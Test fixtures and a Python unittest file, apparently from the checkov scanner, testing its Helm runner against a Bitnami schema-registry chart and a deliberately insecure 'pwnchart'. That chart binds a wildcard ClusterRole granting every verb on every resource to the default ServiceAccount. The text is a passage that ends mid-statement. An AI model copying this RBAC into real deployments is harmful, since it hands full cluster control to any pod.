tests/helm/runner/resources/infrastructure/helm-tiller/pwnchart/templates/_helpers.tpl ================================================ {{- define "pwnchart.name" -}} {{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" -}} {{- end -}} {{- define "pwnchart.fullname" -}} {{- $name := default .Chart.Name .Values.nameOverride -}} {{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" -}} {{- end -}} ================================================ FILE: tests/helm/runner/resources/infrastructure/helm-tiller/pwnchart/templates/clusterrole.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: all-your-base rules: - apiGroups: ["*"] resources: ["*"] verbs: ["*"] ================================================ FILE: tests/helm/runner/resources/infrastructure/helm-tiller/pwnchart/templates/clusterrolebinding.yaml ================================================ apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: belong-to-us roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: all-your-base subjects: - kind: ServiceAccount namespace: {{ .Values.namespace }} name: {{ .Values.name }} ================================================ FILE: tests/helm/runner/resources/infrastructure/helm-tiller/pwnchart/values.yaml ================================================ # Default values for connectivity-check. # This is a YAML-formatted file. # Declare variables to be passed into your templates. namespace: default name: default ================================================ FILE: tests/helm/runner/resources/schema-registry/Chart.yaml ================================================ annotations: category: Infrastructure apiVersion: v2 appVersion: 7.2.1 dependencies: - name: common repository: https://charts.bitnami.com/bitnami tags: - bitnami-common version: 2.x.x - condition: kafka.enabled name: kafka repository: https://charts.bitnami.com/bitnami version: 18.x.x description: Confluent Schema Registry provides a RESTful interface by adding a serving layer for your metadata on top of Kafka. It expands Kafka enabling support for Apache Avro, JSON, and Protobuf schemas. engine: gotpl home: https://confluent.io/ icon: https://bitnami.com/assets/stacks/schema-registry/img/schema-registry-stack-220x234.png keywords: - schema-registry - confluent - kafka - zookeeper - streaming maintainers: - name: Bitnami url: https://github.com/bitnami/charts name: schema-registry sources: - https://github.com/bitnami/containers/tree/main/bitnami/schema-registry version: 5.1.1 ================================================ FILE: tests/helm/runner/resources/schema-registry/values.yaml ================================================ ## @section Global parameters ## Global Docker image parameters ## Please, note that this will override the image parameters, including dependencies, configured to use the global value ## Current available global Docker image parameters: imageRegistry, imagePullSecrets and storageClass ## @param global.imageRegistry Global Docker image registry ## @param global.imagePullSecrets Global Docker registry secret names as an array ## @param global.storageClass Global StorageClass for Persistent Volume(s) ## global: imageRegistry: "" ## e.g. ## imagePullSecrets: ## - myRegistryKeySecretName ## imagePullSecrets: [] storageClass: "" ## @param kubeVersion Override Kubernetes version ## kubeVersion: "" ## @section Common parameters ## @param nameOverride String to partially override airflow.fullname template with a string (will prepend the release name) ## nameOverride: "" ## @param fullnameOverride String to fully override airflow.fullname template with a string ## fullnameOverride: "" ## @param namespaceOverride String to fully override common.names.namespace ## namespaceOverride: "" ## @param commonLabels Labels to add to all deployed objects ## commonLabels: {} ## @param commonAnnotations Annotations to add to all deployed objects ## commonAnnotations: {} ## @param clusterDomain Kubernetes cluster domain name ## clusterDomain: cluster.local ## @param extraDeploy Array of extra objects to deploy with the release ## extraDeploy: [] ## Enable diagnostic mode in the deployment ## diagnosticMode: ## @param diagnosticMode.enabled Enable diagnostic mode (all probes will be disabled and the command will be overridden) ## enabled: false ## @param diagnosticMode.command Command to override all containers in the deployment ## command: - sleep ## @param diagnosticMode.args Args to override all containers in the deployment ## args: - infinity ## @section Schema Registry parameters ## Bitnami Schema Registry image ## ref: https://hub.docker.com/r/bitnami/schema-registry/tags/ ## @param image.registry Schema Registry image registry ## @param image.repository Schema Registry image repository ## @param image.tag Schema Registry image tag (immutable tags are recommended) ## @param image.digest Schema Registry image digest in the way sha256:aa.... Please note this parameter, if set, will override the tag ## @param image.pullPolicy Schema Registry image pull policy ## @param image.pullSecrets Schema Registry image pull secrets ## @param image.debug Enable image debug mode ## image: registry: docker.io repository: bitnami/schema-registry tag: 7.2.1-debian-11-r0 digest: "" ## Specify a imagePullPolicy. Defaults to 'Always' if image tag is 'latest', else set to 'IfNotPresent' ## ref: http://kubernetes.io/docs/user-guide/images/#pre-pulling-images ## pullPolicy: IfNotPresent ## Optionally specify an array of imagePullSecrets. ## Secrets must be manually created in the namespace. ## ref: https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/ ## e.g: ## pullSecrets: ## - myRegistryKeySecretName ## pullSecrets: [] ## Set to true if you would like to see extra information on logs ## debug: false ## @param command Override default container command (useful when using custom images) ## command: [] ## @param args Override default container args (useful when using custom images) ## args: [] ## @param hostAliases Schema Registry pods host aliases ## https://kubernetes.io/docs/concepts/services-networking/add-entries-to-pod-etc-hosts-with-host-aliases/ ## hostAliases: [] ## @param podLabels Extra labels for Schema Registry pods ## ref: https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/ ## podLabels: {} ## @param configuration Specify content for schema-registry.properties. Auto-generated based on other parameters when not specified ## ## e.g: ## configuration: |- ## listeners = http://0.0.0.0:8081 ## kafkastore.bootstrap.servers = protocol://broker_hostname:port ## host.name = schema-registry ## kafkastore.topic = _schemas ## inter.instance.protocol = http ## avro.compatibility.level = backward ## debug = false ## configuration: {} ## @param existingConfigmap Name of existing ConfigMap with Schema Registry configuration ## NOTE: When it's set the configuration parameter is ignored ## existingConfigmap: "" ## @param log4j Schema Registry Log4J Configuration (optional) ## Overwrites default log4j.properties file ## log4j: {} ## @param existingLog4jConfigMap Name of existing ConfigMap containing a custom log4j.properties file. ## NOTE: When it's set the log4j is ignored ## existingLog4jConfigMap: "" ## Authentication parameters ## https://github.com/bitnami/bitnami-docker-kafka#security ## auth: ## TLS parameters to be used when a listener uses HTTPS ## tls: ## @param auth.tls.enabled Enable TLS configuration to provide to be used when a listener uses HTTPS ## enabled: false ## @param auth.tls.jksSecret Existing secret containing the truststore and one keystore per Schema Registry replica ## ## Create this secret following the steps below: ## 1) Generate your trustore and keystore files. Helpful script: https://raw.githubusercontent.com/confluentinc/confluent-platform-security-tools/master/kafka-generate-ssl.sh ## 2) Rename your truststore to `schema-registry.truststore.jks`. ## 3) Rename your keystores to `schema-registry-X.keystore.jks` where X is the ID of each Schema Registry replica ## 4) Run the command below where SECRET_NAME is the name of the secret you want to create: ## kubectl create secret generic SECRET_NAME --from-file=./schema-registry.truststore.jks --from-file=./schema-registry-0.keystore.jks --from-file=./schema-registry-1.keystore.jks ... ## jksSecret: "" ## @param auth.tls.keystorePassword Password to access the keystore when it's password-protected ## keystorePassword: "" ## @param auth.tls.truststorePassword Password to access the truststore when it's password-protected ## truststorePassword: "" ## @param auth.tls.clientAuthentication Client authentication configuration. ## Valid options: NONE, REQUESTED, over REQUIRED ## clientAuthentication: NONE ## Parameters to configure authentication with kafka brokers ## kafka: ## @param auth.kafka.jksSecret Existing secret containing the truststore and one keystore per Schema Registry replica ## ## Create this secret following the steps below: ## 1) Generate your trustore and keystore files. Helpful script: https://raw.githubusercontent.com/confluentinc/confluent-platform-security-tools/master/kafka-generate-ssl.sh ## 2) Rename your truststore to `kafka.truststore.jks`. ## 3) Rename your keystores to `kafka-X.keystore.jks` where X is the ID of each Schema Registry replica ## 4) Run the command below where SECRET_NAME is the name of the secret you want to create: ## kubectl create secret generic SECRET_NAME --from-file=./kafka.truststore.jks --from-file=./kafka-0.keystore.jks --from-file=./kafka-1.keystore.jks ... ## jksSecret: "" ## @param auth.kafka.tlsEndpointIdentificationAlgorithm The endpoint identification algorithm used validate brokers hostnames ## Disable server hostname verification by setting it to an empty string ## See: https://docs.confluent.io/current/kafka/authentication_ssl.html#optional-settings ## tlsEndpointIdentificationAlgorithm: https ## @param auth.kafka.keystorePassword Password to access the keystore when it's password-protected ## keystorePassword: "" ## @param auth.kafka.truststorePassword Password to access the truststore when it's password-protected ## truststorePassword: "" ## @param auth.kafka.saslMechanism Mechanism that schema registry will use to connect to kafka. Allowed: PLAIN, SCRAM-SHA-256, SCRAM-SHA-512 ## saslMechanism: PLAIN ## @param listeners Comma-separated list of listeners that listen for API requests over either HTTP or HTTPS ## listeners: http://0.0.0.0:8081 ## @param avroCompatibilityLevel Avro compatibility type ## Valid options: none, backward, backward_transitive, forward, forward_transitive, full, or full_transitive ## avroCompatibilityLevel: backward ## @param extraEnvVars Extra environment variables to be set on Schema Registry container ## e.g: ## extraEnvVars: ## - name: FOO ## value: BAR ## extraEnvVars: [] ## @param extraEnvVarsCM Name of existing ConfigMap containing extra env vars ## extraEnvVarsCM: "" ## @param extraEnvVarsSecret Name of existing Secret containing extra env vars ## extraEnvVarsSecret: "" ## @section Schema Registry statefulset parameters ## @param replicaCount Number of Schema Registry replicas to deploy. ## replicaCount: 1 ## @param updateStrategy.type Schema Registry statefulset strategy type ## ref: https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/#update-strategies ## updateStrategy: ## StrategyType ## Can be set to RollingUpdate or OnDelete ## type: RollingUpdate ## Node affinity preset ## ref: https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#node-affinity ## nodeAffinityPreset: ## @param nodeAffinityPreset.type Node affinity preset type. Ignored if `affinity` is set. Allowed values: `soft` or `hard` ## type: "" ## @param nodeAffinityPreset.key Node label key to match. Ignored if `affinity` is set ## key: "" ## @param nodeAffinityPreset.values Node label values to match. Ignored if `affinity` is set ## E.g. ## values: ## - e2e-az1 ## - e2e-az2 ## values: [] ## @param affinity Affinity for pod assignment ## Ref: https://kubernetes.io/docs/concepts/configuration/assign-pod-node/#affinity-and-anti-affinity ## affinity: {} ## @param nodeSelector Node labels for pod assignment ## ref: https://kubernetes.io/docs/user-guide/node-selection/ ## nodeSelector: {} ## @param tolerations Tolerations for pod assignment ## ref: https://kubernetes.io/docs/concepts/configuration/taint-and-toleration/ ## tolerations: [] ## @param podManagementPolicy Statefulset Pod management policy, it needs to be Parallel to be able to complete the cluster join ## Ref: https://kubernetes.io/docs/concepts/workloads/controllers/statefulset/#pod-management-policies ## podManagementPolicy: OrderedReady ## @param podAnnotations Annotations for Schema Registry pods ## ref: https://kubernetes.io/docs/concepts/overview/working-with-objects/annotations/ ## podAnnotations: {} ## @param podAffinityPreset Pod affinity preset. Ignored if `affinity` is set. Allowed values: `soft` or `hard` ## ref: https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#inter-pod-affinity-and-anti-affinity ## podAffinityPreset: "" ## @param podAntiAffinityPreset Pod anti-affinity preset. Ignored if `affinity` is set. Allowed values: `soft` or `hard` ## ref: https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/#inter-pod-affinity-and-anti-affinity ## podAntiAffinityPreset: soft ## @param priorityClassName Schema Registry pod priority class name ## ref: https://kubernetes.io/docs/concepts/scheduling-eviction/pod-priority-preemption/ ## priorityClassName: "" ## @param topologySpreadConstraints Topology Spread Constraints for pod assignment spread across your cluster among failure-domains. Evaluated as a template ## Ref: https://kubernetes.io/docs/concepts/workloads/pods/pod-topology-spread-constraints/#spread-constraints-for-pods ## topologySpreadConstraints: {} ## @param schedulerName Name of the k8s scheduler (other than default) for Schema Registry pods ## ref: https://kubernetes.io/docs/tasks/administer-cluster/configure-multiple-schedulers/ ## schedulerName: "" ## @param terminationGracePeriodSeconds Seconds Redmine pod needs to terminate gracefully ## ref: https://kubernetes.io/docs/concepts/workloads/pods/pod/#termination-of-pods ## terminationGracePeriodSeconds: "" ## @param lifecycleHooks for the Schema Registry container(s) to automate configuration before or after startup ## lifecycleHooks: {} ## Schema Registry pods' Security Context. ## ref: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/#set-the-security-context-for-a-pod ## @param podSecurityContext.enabled Enabled Controller pods' Security Context ## @param podSecurityContext.fsGroup Set Controller pod's Security Context fsGroup ## @param podSecurityContext.sysctls sysctl settings of the Schema Registry pods ## podSecurityContext: enabled: true fsGroup: 1001 ## sysctl settings ## Example: ## sysctls: ## - name: net.core.somaxconn ## value: "10000" ## sysctls: [] ## Schema Registry containers' Security Context (only main container). ## ref: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/#set-the-security-context-for-a-container ## @param containerSecurityContext.enabled Enable container security context ## @param containerSecurityContext.runAsUser User ID for the container ## containerSecurityContext: enabled: true runAsUser: 1001 ## Schema Registry containers' resource requests and limits. ## ref: http://kubernetes.io/docs/user-guide/compute-resources/ ## We usually recommend not to specify default resources and to leave this as a conscious ## choice for the user. This also increases chances charts run on environments with little ## resources, such as Minikube. If you do want to specify resources, uncomment the following ## lines, adjust them as necessary, and remove the curly braces after 'resources:'. ## @param resources.limits The resources limits for the container ## @param resources.requests The requested resources for the container ## resources: ## e.g: ## limits: ## cpu: 100m ## memory: 128Mi limits: {} ## e.g: ## requests: ## cpu: 100m ## memory: 128Mi requests: {} ## Schema Registry pods' liveness and readiness probes. Evaluated as a template. ## ref: https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes ## @param livenessProbe.enabled Enable livenessProbe ## @param livenessProbe.initialDelaySeconds Initial delay seconds for livenessProbe ## @param livenessProbe.periodSeconds Period seconds for livenessProbe ## @param livenessProbe.timeoutSeconds Timeout seconds for livenessProbe ## @param livenessProbe.failureThreshold Failure threshold for livenessProbe ## @param livenessProbe.successThreshold Success threshold for livenessProbe ## livenessProbe: enabled: true initialDelaySeconds: 10 timeoutSeconds: 1 periodSeconds: 20 failureThreshold: 6 successThreshold: 1 ## @param readinessProbe.enabled Enable readinessProbe ## @param readinessProbe.initialDelaySeconds Initial delay seconds for readinessProbe ## @param readinessProbe.periodSeconds Period seconds for readinessProbe ## @param readinessProbe.timeoutSeconds Timeout seconds for readinessProbe ## @param readinessProbe.failureThreshold Failure threshold for readinessProbe ## @param readinessProbe.successThreshold Success threshold for readinessProbe ## readinessProbe: enabled: true initialDelaySeconds: 10 timeoutSeconds: 1 periodSeconds: 20 failureThreshold: 6 successThreshold: 1 ## @param startupProbe.enabled Enable startupProbe ## @param startupProbe.initialDelaySeconds Initial delay seconds for startupProbe ## @param startupProbe.periodSeconds Period seconds for startupProbe ## @param startupProbe.timeoutSeconds Timeout seconds for startupProbe ## @param startupProbe.failureThreshold Failure threshold for startupProbe ## @param startupProbe.successThreshold Success threshold for startupProbe ## startupProbe: enabled: false initialDelaySeconds: 10 timeoutSeconds: 1 periodSeconds: 5 failureThreshold: 20 successThreshold: 1 ## @param customLivenessProbe Custom livenessProbe that overrides the default one ## customLivenessProbe: {} ## @param customReadinessProbe Custom readinessProbe that overrides the default one ## customReadinessProbe: {} ## @param customStartupProbe Custom startupProbe that overrides the default one ## customStartupProbe: {} ## @param extraVolumes Optionally specify extra list of additional volumes for MinIO® pods ## e.g: ## extraVolumes: ## - name: avro-properties ## configMap: ## name: avro-properties ## extraVolumes: [] ## @param extraVolumeMounts Optionally specify extra list of additional volumeMounts for MinIO® container(s) ## e.g: ## extraVolumeMounts: ## - name: avro-properties ## mountPath: /bitnami/schema-registry/etc/schema-registry/connect-avro-standalone.properties ## subPath: connect-avro-standalone.properties ## extraVolumeMounts: [] ## @param initContainers Add additional init containers to the Schema Registry pods. ## e.g: ## initContainers: ## - name: your-image-name ## image: your-image ## imagePullPolicy: Always ## ports: ## - name: portname ## containerPort: 1234 ## initContainers: [] ## @param sidecars Add additional sidecar containers to the Schema Registry pods. ## e.g: ## sidecars: ## - name: your-image-name ## image: your-image ## imagePullPolicy: Always ## ports: ## - name: portname ## containerPort: 1234 ## sidecars: [] ## Schema Registry Pod Disruption Budget configuration ## ref: https://kubernetes.io/docs/tasks/run-application/configure-pdb/ ## @param pdb.create Enable/disable a Pod Disruption Budget creation ## @param pdb.minAvailable Minimum number/percentage of pods that must still be available after the eviction ## @param pdb.maxUnavailable Maximum number/percentage of pods that may be made unavailable after the eviction ## pdb: create: false minAvailable: 1 maxUnavailable: "" ## Schema Registry Autoscaling parameters. ## @param autoscaling.enabled Enable autoscaling for replicas ## @param autoscaling.minReplicas Minimum number of replicas ## @param autoscaling.maxReplicas Maximum number of replicas ## @param autoscaling.targetCPU Target CPU utilization percentage ## @param autoscaling.targetMemory Target Memory utilization percentage ## autoscaling: enabled: false minReplicas: 1 maxReplicas: 11 targetCPU: "" targetMemory: "" ## @section Exposure Parameters ## Schema Registry Service parameters. ## service: ## @param service.type Kubernetes service type ## type: ClusterIP ## @param service.ports.http Service HTTP port ## ports: http: 8081 ## @param service.nodePorts.http Service HTTP node port ## Specify the nodePort value for the LoadBalancer and NodePort service types. ## ref: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport ## nodePorts: http: "" ## @param service.clusterIP Schema Registry service clusterIP IP ## e.g: ## clusterIP: None ## clusterIP: "" ## @param service.externalTrafficPolicy Enable client source IP preservation ## ref http://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/#preserving-the-client-source-ip ## externalTrafficPolicy: Cluster ## @param service.loadBalancerIP loadBalancerIP if service type is LoadBalancer ## ref: https://kubernetes.io/docs/concepts/services-networking/service/#internal-load-balancer ## loadBalancerIP: "" ## @param service.loadBalancerSourceRanges Address that are allowed when service is LoadBalancer ## ref: https://kubernetes.io/docs/tasks/access-application-cluster/configure-cloud-provider-firewall/#restrict-access-for-loadbalancer-service ## e.g: ## loadBalancerSourceRanges: ## - 10.10.10.0/24 ## loadBalancerSourceRanges: [] ## @param service.annotations Annotations for Schema Registry service ## annotations: {} ## @param service.extraPorts Extra ports to expose in Schema Registry service (normally used with the `sidecars` value) ## extraPorts: [] ## @param service.sessionAffinity Control where client requests go, to the same pod or round-robin ## Values: ClientIP or None ## ref: https://kubernetes.io/docs/user-guide/services/ ## sessionAffinity: None ## @param service.sessionAffinityConfig Additional settings for the sessionAffinity ## sessionAffinityConfig: ## clientIP: ## timeoutSeconds: 300 ## sessionAffinityConfig: {} ## @param ingress.enabled Enable ingress controller resource ## @param ingress.hostname Default host for the ingress resource ## @param ingress.annotations Ingress annotations ## @param ingress.extraHosts An array with additional hostname(s) to be covered with the ingress record ## @param ingress.extraTls TLS configuration for additional hostname(s) to be covered with this ingress record ## @param ingress.secrets Custom TLS certificates as secrets ## Configure the ingress resource that allows you to access Schema Registry ## ingress: ## @param ingress.enabled Enable ingress record generation for Schema Registry ## enabled: false ## @param ingress.pathType Ingress path type ## pathType: ImplementationSpecific ## @param ingress.apiVersion Force Ingress API version (automatically detected if not set) ## apiVersion: "" ## @param ingress.hostname Default host for the ingress record ## hostname: schema-registry.local ## @param ingress.ingressClassName IngressClass that will be be used to implement the Ingress (Kubernetes 1.18+) ## This is supported in Kubernetes 1.18+ and required if you have more than one IngressClass marked as the default for your cluster . ## ref: https://kubernetes.io/blog/2020/04/02/improvements-to-the-ingress-api-in-kubernetes-1.18/ ## ingressClassName: "" ## @param ingress.path Default path for the ingress record ## NOTE: You may need to set this to '/*' in order to use this with ALB ingress controllers ## path: / ## @param ingress.annotations Additional custom annotations for the ingress record ## NOTE: If `ingress.certManager=true`, annotation `kubernetes.io/tls-acme: "true"` will automatically be added ## ## For a full list of possible ingress annotations, please see ## ref: https://github.com/kubernetes/ingress-nginx/blob/master/docs/user-guide/nginx-configuration/annotations.md ## annotations: {} ## @param ingress.tls Enable TLS configuration for the host defined at `ingress.hostname` parameter ## TLS certificates will be retrieved from a TLS secret with name: `{{- printf "%s-tls" .Values.ingress.hostname }}` ## You can: ## - Use the `ingress.secrets` parameter to create this TLS secret ## - Relay on cert-manager to create it by setting `ingress.certManager=true` ## - Relay on Helm to create self-signed certificates by setting `ingress.tls=true` and `ingress.certManager=false` ## tls: false ## @param ingress.selfSigned Create a TLS secret for this ingress record using self-signed certificates generated by Helm ## selfSigned: false ## @param ingress.extraHosts An array with additional hostname(s) to be covered with the ingress record ## e.g: ## extraHosts: ## - name: schema-registry.local ## path: / ## extraHosts: [] ## @param ingress.extraPaths An array with additional arbitrary paths that may need to be added to the ingress under the main host ## e.g: ## extraPaths: ## - path: /* ## backend: ## serviceName: ssl-redirect ## servicePort: use-annotation ## extraPaths: [] ## @param ingress.extraTls TLS configuration for additional hostname(s) to be covered with this ingress record ## ref: https://kubernetes.io/docs/concepts/services-networking/ingress/#tls ## e.g: ## extraTls: ## - hosts: ## - schema-registry.local ## secretName: schema-registry.local-tls ## extraTls: [] ## @param ingress.secrets Custom TLS certificates as secrets ## NOTE: 'key' and 'certificate' are expected in PEM format ## NOTE: 'name' should line up with a 'secretName' set further up ## If it is not set and you're using cert-manager, this is unneeded, as it will create a secret for you with valid certificates ## If it is not set and you're NOT using cert-manager either, self-signed certificates will be created valid for 365 days ## It is also possible to create and manage the certificates outside of this helm chart ## Please see README.md for more information ## e.g: ## secrets: ## - name: odoo.local-tls ## key: |- ## -----BEGIN RSA PRIVATE KEY----- ## ... ## -----END RSA PRIVATE KEY----- ## certificate: |- ## -----BEGIN CERTIFICATE----- ## ... ## -----END CERTIFICATE----- ## secrets: [] ## @param ingress.extraRules Additional rules to be covered with this ingress record ## ref: https://kubernetes.io/docs/concepts/services-networking/ingress/#ingress-rules ## e.g: ## extraRules: ## - host: airflow.local ## http: ## path: / ## backend: ## service: ## name: airflow-svc ## port: ## name: http ## extraRules: [] ## @section RBAC parameters ## Schema Registry pods ServiceAccount. ## ref: https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/ ## serviceAccount: ## @param serviceAccount.create Enable the creation of a ServiceAccount for Schema Registry pods ## create: true ## @param serviceAccount.name Name of the created ServiceAccount to use ## If not set and create is true, a name is generated using the schema-registry.fullname template ## name: "" ## @param serviceAccount.annotations Additional Service Account annotations (evaluated as a template) ## annotations: {} ## @param serviceAccount.automountServiceAccountToken Automount service account token for the server service account ## automountServiceAccountToken: true ## @section Kafka chart parameters ## ## Kafka chart configuration ## For information about these parameters, refer to: ## https://github.com/bitnami/charts/blob/master/bitnami/kafka/values.yaml ## kafka: ## @param kafka.enabled Enable/disable Kafka chart installation ## enabled: true ## @param kafka.replicaCount Number of Kafka brokers ## replicaCount: 1 auth: ## @param kafka.auth.clientProtocol Authentication protocol for communications with clients. Allowed protocols: plaintext, tls, mtls, sasl and sasl_tls ## clientProtocol: plaintext ## @param kafka.auth.interBrokerProtocol Authentication protocol for inter-broker communications. Allowed protocols: plaintext, tls, mtls, sasl and sasl_tls ## interBrokerProtocol: plaintext ## TLS configuration ## tls: ## @param kafka.auth.tls.existingSecrets Array existing secrets containing the TLS certificates for the Kafka brokers ## When using 'jks' format for certificates, each secret should contain a truststore and a keystore. ## Create these secrets following the steps below: ## 1) Generate your truststore and keystore files. Helpful script: https://raw.githubusercontent.com/confluentinc/confluent-platform-security-tools/master/kafka-generate-ssl.sh ## 2) Rename your truststore to `kafka.truststore.jks`. ## 3) Rename your keystores to `kafka-X.keystore.jks` where X is the ID of each Kafka broker. ## 4) Run the command below one time per broker to create its associated secret (SECRET_NAME_X is the name of the secret you want to create): ## kubectl create secret generic SECRET_NAME_0 --from-file=kafka.truststore.jks=./kafka.truststore.jks --from-file=kafka.keystore.jks=./kafka-0.keystore.jks ## kubectl create secret generic SECRET_NAME_1 --from-file=kafka.truststore.jks=./kafka.truststore.jks --from-file=kafka.keystore.jks=./kafka-1.keystore.jks ## ... ## ## When using 'pem' format for certificates, each secret should contain a public CA certificate, a public certificate and one private key. ## Create these secrets following the steps below: ## 1) Create a certificate key and signing request per Kafka broker, and sign the signing request with your CA ## 2) Rename your CA file to `kafka.ca.crt`. ## 3) Rename your certificates to `kafka-X.tls.crt` where X is the ID of each Kafka broker. ## 3) Rename your keys to `kafka-X.tls.key` where X is the ID of each Kafka broker. ## 4) Run the command below one time per broker to create its associated secret (SECRET_NAME_X is the name of the secret you want to create): ## kubectl create secret generic SECRET_NAME_0 --from-file=ca.crt=./kafka.ca.crt --from-file=tls.crt=./kafka-0.tls.crt --from-file=tls.key=./kafka-0.tls.key ## kubectl create secret generic SECRET_NAME_1 --from-file=ca.crt=./kafka.ca.crt --from-file=tls.crt=./kafka-1.tls.crt --from-file=tls.key=./kafka-1.tls.key ## ... ## existingSecrets: [] ## @param kafka.auth.tls.password Password to access the JKS files or PEM key when they are password-protected. ## Note: ignored when using 'existingSecret'. ## password: "" ## @param kafka.auth.tls.endpointIdentificationAlgorithm The endpoint identification algorithm to validate server hostname using server certificate ## Disable server host name verification by setting it to an empty string. ## ref: https://docs.confluent.io/current/kafka/authentication_ssl.html#optional-settings ## endpointIdentificationAlgorithm: https sasl: jaas: ## @param kafka.auth.sasl.jaas.clientUsers [array] Kafka client users for SASL authentication ## clientUsers: - user ## @param kafka.auth.sasl.jaas.clientPasswords Kafka client passwords for SASL authentication ## clientPasswords: [] ## @param kafka.auth.sasl.jaas.interBrokerUser Kafka inter broker communication user for SASL authentication ## interBrokerUser: admin ## @param kafka.auth.sasl.jaas.interBrokerPassword Kafka inter broker communication password for SASL authentication ## interBrokerPassword: "" ## @param kafka.auth.sasl.jaas.zookeeperUser Kafka Zookeeper user for SASL authentication ## zookeeperUser: "" ## @param kafka.auth.sasl.jaas.zookeeperPassword Kafka Zookeeper password for SASL authentication ## zookeeperPassword: "" ## @param kafka.auth.sasl.jaas.existingSecret Name of the existing secret containing credentials for brokerUser, interBrokerUser and zookeeperUser ## existingSecret: "" service: ## @param kafka.service.ports.client Kafka service port for client connections ## ports: client: 9092 ## ## Zookeeper chart configuration ## For information about these parameters, refer to: ## https://github.com/bitnami/charts/blob/master/bitnami/zookeeper/values.yaml ## zookeeper: ## @param kafka.zookeeper.enabled Enable/disable Zookeeper chart installation ## enabled: true ## @param kafka.zookeeper.replicaCount Number of Zookeeper replicas ## replicaCount: 1 ## @param kafka.zookeeper.auth [object] Zookeeper auth settings auth: client: enabled: false clientUser: zookeeperUser clientPassword: "" serverUsers: zookeeperUser serverPasswords: "" existingSecret: "" ## ## External Kafka Configuration ## All of these values are only used when kafka.enabled is set to false ## externalKafka: ## @param externalKafka.brokers Array of Kafka brokers to connect to. Format: protocol://broker_hostname:port ## brokers: - PLAINTEXT://localhost:9092 ## Authentication parameters ## @param externalKafka.auth.protocol Authentication protocol. Allowed protocols: plaintext, tls, sasl and sasl_tls ## @param externalKafka.auth.jaas.user User for SASL authentication ## @param externalKafka.auth.jaas.password Password for SASL authentication ## auth: ## Authentication protocol ## Supported values: 'plaintext', 'tls', sasl' and 'sasl_tls' ## This table shows the security provided on each protocol: ## | Method | Authentication | Encryption via TLS | ## | plaintext | None | No | ## | tls | None | Yes | ## | sasl | Yes (via SASL) | No | ## | sasl_tls | Yes (via SASL) | Yes | ## protocol: plaintext ## JAAS configuration for SASL authentication ## MANDATORY when protocol is 'sasl' or 'sasl_tls' ## jaas: user: user password: "" ================================================ FILE: tests/helm/test_runner.py ================================================ import os import tempfile import unittest from unittest.mock import patch from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.common.models.enums import CheckResult from checkov.common.output.record import Record from checkov.common.output.report import CheckType, Report from checkov.runner_filter import RunnerFilter from checkov.helm.runner import Runner, fix_report_paths from tests.helm.utils import helm_exists class TestRunnerValid(unittest.TestCase): @unittest.skipIf(not helm_exists(), "helm not installed") def test_record_relative_path_with_relative_dir(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "runner", "resources", "infrastructure") # this is the relative path to the directory to scan (what would actually get passed to the -d arg) dir_rel_path = os.path.relpath(scan_dir_path).replace("\\", "/") checks_allowlist = ["CKV_K8S_42"] runner = Runner() report = runner.run( root_folder=dir_rel_path, runner_filter=RunnerFilter(framework=["helm"], checks=checks_allowlist) ) all_checks = report.failed_checks + report.passed_checks self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.failed_checks), 1) self.assertEqual(report.check_type, CheckType.HELM) for record in all_checks: self.assertIn(record.repo_file_path, record.file_path) for resource in report.resources: self.assertIn('/helm-tiller/pwnchart/templates', resource) @unittest.skipIf(not helm_exists(), "helm not installed") def test_runner_honors_enforcement_rules(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "runner", "resources", "infrastructure") runner = Runner() filter = RunnerFilter(framework=['helm'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.HELM: Severities[BcSeverities.OFF]} report = runner.run( root_folder=scan_dir_path, runner_filter=filter ) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.skipped_checks), 0) self.assertEqual(len(report.parsing_errors), 0) @unittest.skipIf(not helm_exists(), "helm not installed") def test_runner_invalid_chart(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "runner", "resources", "schema-registry") runner = Runner() filter = RunnerFilter(framework=['helm'], use_enforcement_rules=False) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method report = runner.run( root_folder=scan_dir_path, runner_filter=filter ) self.assertEqual(len(report.failed_checks), 0) @unittest.skipIf(not helm_exists(), "helm not installed") def test_get_binary_output_from_directory_equals_to_get_binary_result(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "runner", "resources", "schema-registry") runner_filter = RunnerFilter(framework=['helm'], use_enforcement_rules=False) chart_meta = Runner.parse_helm_chart_details(scan_dir_path) chart_item = (scan_dir_path, chart_meta) regular_result = Runner.get_binary_output(chart_item, target_dir='./tmp', helm_command="helm", runner_filter=runner_filter) result_from_directory = Runner.get_binary_output_from_directory(str(scan_dir_path), target_dir='./tmp', helm_command="helm", runner_filter=runner_filter) assert regular_result == result_from_directory def test_fix_report_paths(self): # Create a test report with some checks report = Report(CheckType.HELM) tmp_dir = "/tmp/helm_test" original_root_folder = 